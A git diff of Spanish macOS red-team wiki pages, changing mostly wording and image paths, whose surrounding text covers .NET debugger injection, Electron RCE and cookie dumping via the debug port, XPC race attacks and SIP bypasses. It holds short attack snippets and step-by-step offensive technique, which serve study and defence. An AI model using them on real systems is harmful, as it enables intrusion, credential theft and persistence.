@ -159,8 +159,8 @@ Por ejemplo, la información sobre el usuario llamado _mark_ se almacena en _/va
Además de utilizar los bordes HasSession y AdminTo, **MacHound agrega tres bordes nuevos** a la base de datos de Bloodhound:
* **CanSSH** - entidad permitida para hacer SSH al host
* **CanVNC** - entidad permitida para hacer VNC al host
* **CanSSH** - entidad permitida para SSH al host
* **CanVNC** - entidad permitida para VNC al host
* **CanAE** - entidad permitida para ejecutar scripts de AppleEvent en el host
```bash
#User enumeration
@ -187,19 +187,19 @@ Más información en [https://its-a-feature.github.io/posts/2018/01/Active-Direc
## Accediendo al Keychain
El Keychain probablemente contiene información sensible que, si se accede sin generar una solicitud, podría ayudar a avanzar en un ejercicio de red teaming:
El Keychain probablemente contiene información sensible que, si se accede sin generar una solicitud, podría ayudar a avanzar en un ejercicio de red team:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
{% endcontent-ref %}
## Servicios externos
## Servicios Externos
El red teaming en MacOS es diferente al red teaming regular de Windows, ya que generalmente **MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora utilizando **credenciales sincronizadas de OneLogin y acceder a varios servicios externos** (como github, aws...) a través de OneLogin:
![](<../../.gitbook/assets/image (563).png>)
## Técnicas de red teaming misceláneas
## Técnicas Misceláneas de Red Team
### Safari

View File

@ -22,7 +22,7 @@ Obviamente, esto es tan poderoso que es **complicado cargar una extensión del k
* Cuando se **ingresa al modo de recuperación**, las **extensiones del kernel deben estar permitidas** para cargarse:
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* La extensión del kernel debe estar **firmada con un certificado de firma de código del kernel**, que solo puede ser **concedido por Apple**. Quien revisará en detalle la empresa y las razones por las que se necesita.
* La extensión del kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.

View File

@ -17,11 +17,11 @@
### **Establecer una sesión de depuración** <a href="#net-core-debugging" id="net-core-debugging"></a>
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) es responsable de manejar la **comunicación** entre el depurador y el depurado.\
Crea 2 tuberías con nombre por proceso .Net en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) llamando a [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (una terminará en **`-in`** y la otra en **`-out`** y el resto del nombre será el mismo).
Crea dos tuberías con nombres por proceso .Net en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) llamando a [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (uno terminará en **`-in`** y el otro en **`-out`** y el resto del nombre será el mismo).
Entonces, si vas al directorio **`$TMPDIR`** de los usuarios, podrás encontrar **fifos de depuración** que podrías usar para depurar aplicaciones .Net:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
La función [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) manejará la comunicación desde un depurador.
@ -66,7 +66,7 @@ Una vez construido, **enviamos esto al objetivo** utilizando la llamada al siste
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
```
Siguiendo nuestro encabezado, necesitamos enviar una estructura `sessionRequestData`, que contiene un GUID para identificar nuestra sesión:
Siguiendo nuestro encabezado, necesitamos enviar una estructura `sessionRequestData` que contiene un GUID para identificar nuestra sesión:
```c
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
@ -175,7 +175,7 @@ En las versiones x64, esto es sencillo utilizando la técnica de **búsqueda de
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
Lo único que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Utilizando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
Todo lo que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Utilizando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio código shell.

View File

@ -23,7 +23,7 @@ Estas técnicas se discutirán a continuación, pero recientemente Electron ha a
* **`RunAsNode`**: Si está deshabilitado, evita el uso de la variable de entorno **`ELECTRON_RUN_AS_NODE`** para inyectar código.
* **`EnableNodeCliInspectArguments`**: Si está deshabilitado, los parámetros como `--inspect`, `--inspect-brk` no se respetarán. Evitando así la inyección de código de esta manera.
* **`EnableEmbeddedAsarIntegrityValidation`**: Si está habilitado, el archivo **`asar`** cargado será validado por macOS. **Previniendo** de esta manera la **inyección de código** al modificar el contenido de este archivo.
* **`EnableEmbeddedAsarIntegrityValidation`**: Si está habilitado, el archivo **`asar`** cargado será validado por macOS. **Evitando** de esta manera la **inyección de código** al modificar el contenido de este archivo.
* **`OnlyLoadAppFromAsar`**: Si está habilitado, en lugar de buscar para cargar en el siguiente orden: **`app.asar`**, **`app`** y finalmente **`default_app.asar`**. Solo verificará y usará app.asar, asegurando así que cuando se **combine** con el fusible **`embeddedAsarIntegrityValidation`**, sea **imposible** cargar código no validado.
* **`LoadBrowserProcessSpecificV8Snapshot`**: Si está habilitado, el proceso del navegador utiliza el archivo llamado `browser_v8_context_snapshot.bin` para su instantánea de V8.
@ -58,18 +58,18 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
```
Puedes cargar este archivo en [https://hexed.it/](https://hexed.it/) y buscar la cadena anterior. Después de esta cadena, puedes ver en ASCII un número "0" o "1" que indica si cada fusible está desactivado o activado. Simplemente modifica el código hexadecimal (`0x30` es `0` y `0x31` es `1`) para **modificar los valores de los fusibles**.
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
Ten en cuenta que si intentas **sobrescribir** el binario del **`Electron Framework`** dentro de una aplicación con estos bytes modificados, la aplicación no se ejecutará.
## RCE añadiendo código a las aplicaciones de Electron
## RCE añadiendo código a Aplicaciones Electron
Puede haber **archivos JS/HTML externos** que una aplicación de Electron esté utilizando, por lo que un atacante podría inyectar código en estos archivos cuya firma no será verificada y ejecutar código arbitrario en el contexto de la aplicación.
Puede haber **archivos JS/HTML externos** que una Aplicación Electron esté utilizando, por lo que un atacante podría inyectar código en estos archivos cuya firma no será verificada y ejecutar código arbitrario en el contexto de la aplicación.
{% hint style="danger" %}
Sin embargo, en este momento hay 2 limitaciones:
* Se necesita el permiso **`kTCCServiceSystemPolicyAppBundles`** para modificar una aplicación, por lo que por defecto esto ya no es posible.
* Se necesita el permiso **`kTCCServiceSystemPolicyAppBundles`** para modificar una Aplicación, por lo que por defecto esto ya no es posible.
* El archivo compilado **`asap`** generalmente tiene los fusibles **`embeddedAsarIntegrityValidation`** y **`onlyLoadAppFromAsar`** habilitados.
Esto hace que esta ruta de ataque sea más complicada (o imposible).
@ -79,7 +79,7 @@ Ten en cuenta que es posible evitar el requisito de **`kTCCServiceSystemPolicyAp
## RCE con `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
Según [**la documentación**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), si esta variable de entorno está configurada, iniciará el proceso como un proceso normal de Node.js.
Según [**la documentación**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), si esta variable de entorno está configurada, iniciará el proceso como un proceso Node.js normal.
{% code overflow="wrap" %}
```bash
@ -175,7 +175,7 @@ Si el fusible **`EnableNodeCliInspectArguments`** está desactivado, la aplicaci
Sin embargo, aún puedes usar el parámetro de electron `--remote-debugging-port=9229`, pero la carga útil anterior no funcionará para ejecutar otros procesos.
{% endhint %}
Usando el parámetro **`--remote-debugging-port=9222`**, es posible robar información de la aplicación Electron, como el **historial** (con comandos GET) o las **cookies** del navegador (ya que están **descifradas** dentro del navegador y hay un **endpoint json** que las proporcionará).
Usando el parámetro **`--remote-debugging-port=9222`** es posible robar información de la aplicación Electron, como el **historial** (con comandos GET) o las **cookies** del navegador (ya que están **descifradas** dentro del navegador y hay un **endpoint json** que las proporcionará).
Puedes aprender cómo hacerlo [**aquí**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) y [**aquí**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) y utilizar la herramienta automática [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) o un simple script como:
```python
@ -187,7 +187,7 @@ print(ws.recv()
```
### Inyección desde el archivo Plist de la aplicación
Podrías abusar de esta variable de entorno en un plist para mantener la persistencia agregando estas claves:
Podrías abusar de esta variable de entorno en un archivo plist para mantener la persistencia agregando estas claves:
```xml
<dict>
<key>ProgramArguments</key>

View File

@ -1,4 +1,4 @@
# macOS MIG - Generador de Interfaz Mach
# Generador de Interfaz Mach (MIG) de macOS
<details>
@ -12,7 +12,7 @@
</details>
MIG fue creado para **simplificar el proceso de creación de código de IPC de Mach**. Básicamente, **genera el código necesario** para que el servidor y el cliente se comuniquen con una definición dada. Aunque el código generado sea feo, un desarrollador solo necesitará importarlo y su código será mucho más simple que antes.
MIG fue creado para **simplificar el proceso de creación de código de IPC de Mach**. Básicamente, **genera el código necesario** para que el servidor y el cliente se comuniquen con una definición dada. Aunque el código generado puede ser feo, un desarrollador solo necesitará importarlo y su código será mucho más simple que antes.
### Ejemplo
@ -69,12 +69,12 @@ myipc_server_routine,
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "myipcServerUser.h"
#include <mach/message.h>
#include <mach/mig.h>
#define MACH_PORT_NAME "com.example.myipc"
extern mach_port_t myipc_server_port;
kern_return_t myipc_server(mach_port_t server_port);
kern_return_t myipc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);
#endif /* myipcServer_h */
```
@ -95,7 +95,7 @@ routine[1];
{% endtab %}
{% endtabs %}
Basándose en la estructura anterior, la función **`myipc_server_routine`** obtendrá el **ID del mensaje** y devolverá la función adecuada para llamar:
Basándonos en la estructura anterior, la función **`myipc_server_routine`** obtendrá el **ID del mensaje** y devolverá la función adecuada para llamar:
```c
mig_external mig_routine_t myipc_server_routine
(mach_msg_header_t *InHeadP)
@ -136,7 +136,7 @@ mig_routine_t routine;
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
/* Tamaño mínimo: routine() lo actualizará si es diferente */
/* Tamaño mínimo: se actualizará si es diferente */
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
@ -378,10 +378,10 @@ return r0;
En realidad, si vas a la función **`0x100004000`**, encontrarás el array de estructuras **`routine_descriptor`**, el primer elemento de la estructura es la dirección donde se implementa la función y la **estructura ocupa 0x28 bytes**, por lo que cada 0x28 bytes (a partir del byte 0) puedes obtener 8 bytes y esa será la **dirección de la función** que se llamará:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Estos datos se pueden extraer [**usando este script de Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
<details>

View File

@ -104,7 +104,7 @@ assert(blockErr == errAuthorizationSuccess);
}];
}
```
La función `enumerateRightsUsingBlock` es la que se utiliza para obtener los permisos de las aplicaciones, que están definidos en `commandInfo`:
La función `enumerateRightsUsingBlock` es la que se utiliza para obtener los permisos de las aplicaciones, los cuales están definidos en `commandInfo`:
```objectivec
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
@ -182,15 +182,15 @@ block(authRightName, authRightDefault, authRightDesc);
}];
}
```
Esto significa que al final de este proceso, los permisos declarados dentro de `commandInfo` se almacenarán en `/var/db/auth.db`. Observa cómo allí puedes encontrar para **cada método** que requiera autenticación, el **nombre del permiso** y el **`kCommandKeyAuthRightDefault`**. Este último indica **quién puede obtener este permiso**.
Esto significa que al final de este proceso, los permisos declarados dentro de `commandInfo` se almacenarán en `/var/db/auth.db`. Observa cómo allí puedes encontrar para **cada método** que requiere autenticación, el **nombre del permiso** y el **`kCommandKeyAuthRightDefault`**. Este último indica **quién puede obtener este permiso**.
Existen diferentes alcances para indicar quién puede acceder a un permiso. Algunos de ellos están definidos en [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (puedes encontrar [todos ellos aquí](https://www.dssw.co.uk/reference/authorization-rights/)), pero como resumen:
<table><thead><tr><th width="284.3333333333333">Nombre</th><th width="165">Valor</th><th>Descripción</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Cualquiera</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Nadie</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>El usuario actual debe ser un administrador (dentro del grupo de administradores)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Solicitar al usuario que se autentique.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Solicitar al usuario que se autentique. Debe ser un administrador (dentro del grupo de administradores)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Especificar reglas</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Especificar comentarios adicionales sobre el permiso</td></tr></tbody></table>
<table><thead><tr><th width="284.3333333333333">Nombre</th><th width="165">Valor</th><th>Descripción</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Cualquiera</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Nadie</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>El usuario actual debe ser un administrador (dentro del grupo de administradores)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Pedir al usuario que se autentique.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Pedir al usuario que se autentique. Debe ser un administrador (dentro del grupo de administradores)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Especificar reglas</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Especificar comentarios adicionales sobre el permiso</td></tr></tbody></table>
### Verificación de permisos
En `HelperTool/HelperTool.m`, la función **`readLicenseKeyAuthorization`** verifica si el llamador está autorizado para **ejecutar dicho método** llamando a la función **`checkAuthorization`**. Esta función verificará que los datos de autenticación enviados por el proceso que realiza la llamada tengan un **formato correcto** y luego verificará **qué se necesita para obtener el permiso** de llamar al método específico. Si todo va bien, el **error devuelto será `nil`**:
En `HelperTool/HelperTool.m`, la función **`readLicenseKeyAuthorization`** verifica si el llamador está autorizado para **ejecutar dicho método** llamando a la función **`checkAuthorization`**. Esta función verificará que los datos de autenticación enviados por el proceso que llama tengan un **formato correcto** y luego verificará **qué se necesita para obtener el permiso** para llamar al método específico. Si todo va bien, el **error devuelto será `nil`**:
```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
@ -284,9 +284,9 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
### Verificando si se utiliza EvenBetterAuthorization
Si encuentras la función: **`[HelperTool checkAuthorization:command:]`** es probable que el proceso esté utilizando el esquema mencionado anteriormente para la autorización:
Si encuentras la función: **`[HelperTool checkAuthorization:command:]`**, es probable que el proceso esté utilizando el esquema mencionado anteriormente para la autorización:
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Entonces, si esta función llama a funciones como `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, está utilizando [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).

View File

@ -23,7 +23,7 @@ Si no sabes qué son los mensajes Mach, comienza revisando esta página:
{% endcontent-ref %}
Por ahora, recuerda que:
Los mensajes Mach se envían a través de un _puerto Mach_, que es un canal de comunicación de **un solo receptor, múltiples remitentes** integrado en el kernel Mach. **Múltiples procesos pueden enviar mensajes** a un puerto Mach, pero en cualquier momento **solo un proceso puede leer de él**. Al igual que los descriptores de archivos y los sockets, los puertos Mach son asignados y gestionados por el kernel, y los procesos solo ven un número entero, que pueden usar para indicar al kernel qué puerto Mach desean utilizar.
Los mensajes Mach se envían a través de un _puerto Mach_, que es un canal de comunicación de **un solo receptor y múltiples remitentes** integrado en el kernel Mach. **Múltiples procesos pueden enviar mensajes** a un puerto Mach, pero en cualquier momento **solo un proceso puede leer de él**. Al igual que los descriptores de archivos y los sockets, los puertos Mach son asignados y gestionados por el kernel, y los procesos solo ven un número entero, que pueden usar para indicar al kernel qué puerto Mach desean utilizar.
## Conexión XPC
@ -82,10 +82,10 @@ Para realizar el ataque:
1. Establecemos nuestra **conexión** a **`smd`** siguiendo el protocolo XPC normal.
2. Luego, establecemos una **conexión** a **`diagnosticd`**, pero en lugar de generar dos nuevos puertos mach y enviarlos, reemplazamos el derecho de envío del puerto del cliente con una copia del **derecho de envío que tenemos para la conexión a `smd`**.
3. Esto significa que podemos enviar mensajes XPC a `diagnosticd`, pero cualquier **mensaje que `diagnosticd` envíe irá a `smd`**.
3. Esto significa que podemos enviar mensajes XPC a `diagnosticd`, pero cualquier **mensaje que `diagnosticd` envíe va a `smd`**.
* Para `smd`, tanto nuestros mensajes como los mensajes de `diagnosticd` llegan a la misma conexión.
<figure><img src="../../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../../.gitbook/assets/image (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
4. Le pedimos a **`diagnosticd`** que **comience a monitorizar** nuestro (o cualquier otro) proceso y **enviamos mensajes rutinarios 1004 a `smd`** (para instalar una herramienta privilegiada).
5. Esto crea una condición de carrera que debe alcanzar una ventana muy específica en `handle_bless`. Necesitamos que la llamada a `xpc_connection_get_pid` devuelva el PID de nuestro propio proceso, ya que la herramienta auxiliar privilegiada está en nuestro paquete de aplicaciones. Sin embargo, la llamada a `xpc_connection_get_audit_token` dentro de la función `connection_is_authorized` debe usar el token de auditoría de `diagnosticd`.
@ -101,14 +101,14 @@ Por lo tanto, los **paquetes de respuesta XPC pueden analizarse mientras se est
Para este escenario necesitaríamos:
* Como antes, dos servicios mach **A** y **B** a los que podemos conectarnos.
* Nuevamente, **A** debe tener una comprobación de autorización para una acción específica que **B** puede pasar (pero nuestra aplicación no puede).
* **A** nos envía un mensaje que espera una respuesta.
* Podemos enviar un mensaje a **B** al que responderá.
* Como antes, dos servicios mach _A_ y _B_ a los que podemos conectarnos.
* Nuevamente, _A_ debe tener una comprobación de autorización para una acción específica que _B_ puede pasar (pero nuestra aplicación no puede).
* _A_ nos envía un mensaje que espera una respuesta.
* Podemos enviar un mensaje a _B_ al que responderá.
Esperamos a que **A** nos envíe un mensaje que espera una respuesta (1), en lugar de responder, tomamos el puerto de respuesta y lo usamos para un mensaje que enviamos a **B** (2). Luego, enviamos un mensaje que utiliza la acción prohibida y esperamos que llegue concurrentemente con la respuesta de **B** (3).
Esperamos a que _A_ nos envíe un mensaje que espera una respuesta (1), en lugar de responder, tomamos el puerto de respuesta y lo usamos para un mensaje que enviamos a _B_ (2). Luego, enviamos un mensaje que utiliza la acción prohibida y esperamos que llegue concurrentemente con la respuesta de _B_ (3).
<figure><img src="../../../../../../.gitbook/assets/image (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
## Problemas de descubrimiento

View File

@ -99,17 +99,17 @@ Permite **cambiar** el atributo **`NFSHomeDirectory`** de un usuario que cambia
Permite modificar archivos dentro del paquete de aplicaciones (dentro de app.app), lo cual está **desactivado de forma predeterminada**.
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
## Medio
### `com.apple.security.cs.allow-jit`
Este permiso permite **crear memoria que se puede escribir y ejecutar** pasando la bandera `MAP_JIT` a la función del sistema `mmap()`. Consulta [**esto para obtener más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
Este permiso permite **crear memoria que es escribible y ejecutable** al pasar la bandera `MAP_JIT` a la función del sistema `mmap()`. Consulta [**esto para obtener más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
### `com.apple.security.cs.allow-unsigned-executable-memory`
Este permiso permite **anular o parchear código C**, utilizar el marco **`NSCreateObjectFileImageFromMemory`** (que es fundamentalmente inseguro) o utilizar el marco **DVDPlayback**. Consulta [**esto para obtener más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
Este permiso permite **anular o parchear código C**, utilizar el marco de **`NSCreateObjectFileImageFromMemory`** (que es fundamentalmente inseguro) o utilizar el marco **DVDPlayback**. Consulta [**esto para obtener más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
{% hint style="danger" %}
Incluir este permiso expone tu aplicación a vulnerabilidades comunes en lenguajes de código no seguro en memoria. Considera cuidadosamente si tu aplicación necesita esta excepción.

View File

@ -73,11 +73,11 @@ Si un atacante logra eludir SIP, esto es lo que obtendrá:
* Leer correos electrónicos, mensajes, historial de Safari... de todos los usuarios
* Conceder permisos para la cámara web, el micrófono o cualquier otra cosa (escribiendo directamente en la base de datos TCC protegida por SIP)
* Persistencia: podría guardar un malware en una ubicación protegida por SIP y ni siquiera el root podrá eliminarlo. También podría manipular MRT.
* Facilidad para cargar extensiones de kernel (aunque hay otras protecciones más avanzadas para esto).
* Facilidad para cargar extensiones de kernel (aún se aplican otras protecciones más avanzadas para esto).
### Paquetes de instalación
Los **paquetes de instalación firmados con el certificado de Apple** pueden eludir sus protecciones. Esto significa que incluso los paquetes firmados por desarrolladores estándar serán bloqueados si intentan modificar directorios protegidos por SIP.
Los **paquetes de instalación firmados con el certificado de Apple** pueden eludir sus protecciones. Esto significa que incluso los paquetes firmados por desarrolladores estándar serán bloqueados si intentan modificar los directorios protegidos por SIP.
### Archivo SIP inexistente
@ -89,13 +89,15 @@ Una posible laguna es que si se especifica un archivo en **`rootless.conf` pero
El permiso **`com.apple.rootless.install.heritable`** permite eludir SIP.
{% endhint %}
[**Investigadores de esta publicación de blog**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) descubrieron una vulnerabilidad en el mecanismo de Protección de Integridad del Sistema (SIP) de macOS, llamada vulnerabilidad 'Shrootless'. Esta vulnerabilidad se centra en el demonio `system_installd`, que tiene un permiso, **`com.apple.rootless.install.heritable`**, que permite que cualquiera de sus procesos secundarios eluda las restricciones del sistema de archivos de SIP.
[**Investigadores de esta publicación de blog**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) descubrieron una vulnerabilidad en el mecanismo de Protección de Integridad del Sistema (SIP) de macOS, llamada vulnerabilidad 'Shrootless'. Esta vulnerabilidad se centra en el demonio **`system_installd`**, que tiene un permiso, **`com.apple.rootless.install.heritable`**, que permite que cualquiera de sus procesos secundarios eluda las restricciones del sistema de archivos de SIP.
Los investigadores descubrieron que durante la instalación de un paquete firmado por Apple (.pkg), **`system_installd`** ejecuta cualquier script **post-instalación** incluido en el paquete. Estos scripts son ejecutados por la shell predeterminada, **`zsh`**, que automáticamente ejecuta comandos del archivo **`/etc/zshenv`**, si existe, incluso en modo no interactivo. Este comportamiento podría ser aprovechado por los atacantes: al crear un archivo malicioso `/etc/zshenv` y esperar a que `system_installd` invoque `zsh`, podrían realizar operaciones arbitrarias en el dispositivo.
El demonio **`system_installd`** instalará paquetes que hayan sido firmados por **Apple**.
Los investigadores descubrieron que durante la instalación de un paquete firmado por Apple (.pkg), **`system_installd`** **ejecuta** cualquier script **post-instalación** incluido en el paquete. Estos scripts son ejecutados por la shell predeterminada, **`zsh`**, que automáticamente **ejecuta** comandos del archivo **`/etc/zshenv`**, si existe, incluso en modo no interactivo. Este comportamiento podría ser aprovechado por los atacantes: al crear un archivo malicioso `/etc/zshenv` y esperar a que **`system_installd` invoque `zsh`**, podrían realizar operaciones arbitrarias en el dispositivo.
Además, se descubrió que **`/etc/zshenv` podría ser utilizado como una técnica de ataque general**, no solo para eludir SIP. Cada perfil de usuario tiene un archivo `~/.zshenv`, que se comporta de la misma manera que `/etc/zshenv` pero no requiere permisos de root. Este archivo podría ser utilizado como un mecanismo de persistencia, activándose cada vez que `zsh` se inicia, o como un mecanismo de elevación de privilegios. Si un usuario administrador se eleva a root usando `sudo -s` o `sudo <comando>`, se activaría el archivo `~/.zshenv`, elevándose efectivamente a root.
En [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) se descubrió que el mismo proceso **`system_installd`** aún podía ser abusado porque colocaba el script **post-instalación dentro de una carpeta con nombre aleatorio protegida por SIP dentro de `/tmp`**. La cuestión es que **`/tmp` en sí no está protegido por SIP**, por lo que era posible **montar** una **imagen virtual en él**, luego el **instalador** colocaría en ella el **script post-instalación**, **desmontaría** la imagen virtual, **recrearía** todas las **carpetas** y **agregaría** el **script de post-instalación** con la **carga útil** a ejecutar.
En [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) se descubrió que el mismo proceso **`system_installd`** aún podía ser abusado porque colocaba el **script post-instalación dentro de una carpeta con nombre aleatorio protegida por SIP dentro de `/tmp`**. La cuestión es que **`/tmp` en sí no está protegido por SIP**, por lo que era posible **montar** una **imagen virtual en él**, luego el **instalador** colocaría en ella el **script post-instalación**, **desmontaría** la imagen virtual, **recrearía** todas las **carpetas** y **agregaría** el **script de post-instalación** con la **carga útil** a ejecutar.
### **com.apple.rootless.install**
@ -103,16 +105,16 @@ En [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-
El permiso **`com.apple.rootless.install`** permite eludir SIP.
{% endhint %}
Según [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/), el servicio XPC del sistema `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` tiene el permiso **`com.apple.rootless.install`**, que otorga al proceso el permiso para eludir las restricciones de SIP. También **expone un método para mover archivos sin ninguna verificación de seguridad**.
Desde [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/), el servicio XPC del sistema `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` tiene el permiso **`com.apple.rootless.install`**, que otorga al proceso el permiso para eludir las restricciones de SIP. También **expone un método para mover archivos sin ninguna verificación de seguridad**.
## Instantáneas selladas del sistema
